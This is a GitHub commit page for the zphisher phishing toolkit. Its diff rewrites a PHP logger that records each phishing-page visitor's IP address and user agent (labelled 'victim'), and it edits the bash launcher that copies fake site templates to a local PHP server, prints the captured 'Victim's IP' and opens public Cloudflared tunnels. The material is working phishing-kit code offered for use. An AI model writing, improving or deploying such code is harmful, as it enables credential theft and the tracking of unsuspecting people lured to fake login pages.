Skip to content

Commit fc7b0c3

Browse files
committed
use awk for getting ip
1 parent 5da78ee commit fc7b0c3

File tree

2 files changed

+36
-40
lines changed

2 files changed

+36
-40
lines changed

.sites/ip.php

Lines changed: 18 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -1,29 +1,25 @@
11
<?php
22

3-
if (!empty($_SERVER['HTTP_CLIENT_IP']))
4-
{
5-
$ipaddress = $_SERVER['HTTP_CLIENT_IP']."\r\n";
6-
}
7-
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
8-
{
9-
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']."\r\n";
10-
}
3+
if(isset($_SERVER['HTTP_CLIENT_IP']))
4+
{
5+
$ipaddr = $_SERVER['HTTP_CLIENT_IP'];
6+
}
7+
elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
8+
{
9+
$ipaddr = $_SERVER['HTTP_X_FORWARDED_FOR'];
10+
}
1111
else
12+
{
13+
$ipaddr = $_SERVER['REMOTE_ADDR'];
14+
}
15+
16+
if(strpos($ipaddr,',') !== false)
1217
{
13-
$ipaddress = $_SERVER['REMOTE_ADDR']."\r\n";
18+
$ipaddr = preg_split("/\,/", $ipaddr)[0];
1419
}
15-
$useragent = " User-Agent: ";
16-
$browser = $_SERVER['HTTP_USER_AGENT'];
17-
18-
19-
$file = 'ip.txt';
20-
$victim = "\nIP: ";
21-
$fp = fopen($file, 'a');
22-
23-
fwrite($fp, $victim);
24-
fwrite($fp, $ipaddress);
25-
fwrite($fp, $useragent);
26-
fwrite($fp, $browser);
27-
2820

21+
$fp = fopen('ip.txt', 'a');
22+
fwrite($fp, "IP: " . $ipaddr . "\r\n" . "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . "\n\n");
2923
fclose($fp);
24+
25+
?>

zphisher.sh

Lines changed: 18 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -157,27 +157,27 @@ kill_pid() {
157157

158158
# Check for a newer release
159159
check_update(){
160-
echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Checking for update : "
161-
relase_url='https://api.github.com/repos/htr-tech/zphisher/releases/latest'
160+
echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Checking for update : "
161+
relase_url='https://api.github.com/repos/htr-tech/zphisher/releases/latest'
162162

163-
if [[ $(curl -s $relase_url | grep '"tag_name":' | awk -F\" '{print $4}') != $__version__ ]]; then
164-
echo -ne "${ORANGE} update found\n"${WHITE}
163+
if [[ $(curl -s $relase_url | grep '"tag_name":' | awk -F\" '{print $4}') != $__version__ ]]; then
164+
echo -ne "${ORANGE} update found\n"${WHITE}
165165
sleep 1
166166
echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${ORANGE} Updating..."
167167
git pull origin master
168168
{ clear; banner_small; }
169169
echo -ne "\n${GREEN}[${WHITE}+${GREEN}] Successfully updated! Run zphisher again"${WHITE}
170170
exit
171-
else
172-
echo -ne "${GREEN}up to date\n${WHITE}" ; sleep .5
173-
fi
171+
else
172+
echo -ne "${GREEN}up to date\n${WHITE}" ; sleep .5
173+
fi
174174
}
175175

176176
## Check Internet Status
177177
check_status() {
178-
echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Internet Status : "
179-
timeout 3s curl -fIs "https://api.github.com" > /dev/null
180-
[ $? -eq 0 ] && echo -e "${GREEN}Online${WHITE}" && check_update || echo -e "${RED}Offline${WHITE}"
178+
echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Internet Status : "
179+
timeout 3s curl -fIs "https://api.github.com" > /dev/null
180+
[ $? -eq 0 ] && echo -e "${GREEN}Online${WHITE}" && check_update || echo -e "${RED}Offline${WHITE}"
181181
}
182182

183183
## Banner
@@ -385,10 +385,10 @@ HOST='127.0.0.1'
385385
#DEFAULT PORT
386386
PORT='8080'
387387

388-
#COUSTOM PORT
388+
#CUSTOM PORT
389389
cusport() {
390390
echo ""
391-
read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do You Want A Coustom Port ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]: ${ORANGE}" P_ANS
391+
read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do You Want A Custom Port ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]: ${ORANGE}" P_ANS
392392
if [[ ${P_ANS} =~ ^([yY])$ ]]; then
393393
printf "\n\n"
394394
read -n4 -p "${RED}[${WHITE}-${RED}]${ORANGE} Enter Your Custom 4-digit Port 1024-9999 : ${WHITE}" CU_P
@@ -397,19 +397,19 @@ cusport() {
397397
echo ""
398398
else
399399
echo -ne "\n\n${RED}[${WHITE}!${RED}]${RED} Invalid 4-digit Port : $CU_P, Try Again...${WHITE}"
400-
{ sleep 2; clear; banner; cusport; }
400+
{ sleep 2; clear; banner; cusport; }
401401
fi
402402
elif [[ ${P_ANS} =~ ^([Nn])$ ]];then
403403
echo -ne "\n\n${RED}[${WHITE}-${RED}]${BLUE} Using Default Port : $PORT...${WHITE}"
404404
echo ""
405405
else
406406
echo ""
407-
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again...${WHITE}"
407+
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again...${WHITE}"
408408
cusport
409409
fi
410410
}
411411
setup_site() {
412-
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Setting up server..."${WHITE}
412+
echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Setting up server..."${WHITE}
413413
cp -rf .sites/"$website"/* .server/www
414414
cp -f .sites/ip.php .server/www/
415415
echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Starting PHP server..."${WHITE}
@@ -418,7 +418,7 @@ setup_site() {
418418

419419
## Get IP address
420420
capture_ip() {
421-
IP=$(grep -a 'IP:' .server/www/ip.txt | cut -d " " -f2 | tr -d '\r')
421+
IP=$(awk -F'IP: ' '{print $2}' .server/www/ip.txt | xargs)
422422
IFS=$'\n'
423423
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Victim's IP : ${BLUE}$IP"
424424
echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Saved in : ${ORANGE}auth/ip.txt"
@@ -482,8 +482,8 @@ start_ngrok() {
482482

483483
## Start Cloudflared
484484
start_cloudflared() {
485-
rm .cld.log > /dev/null 2>&1 &
486-
cusport
485+
rm .cld.log > /dev/null 2>&1 &
486+
cusport
487487
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
488488
{ sleep 1; setup_site; }
489489
echo -ne "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching Cloudflared..."

0 commit comments

Comments
 (0)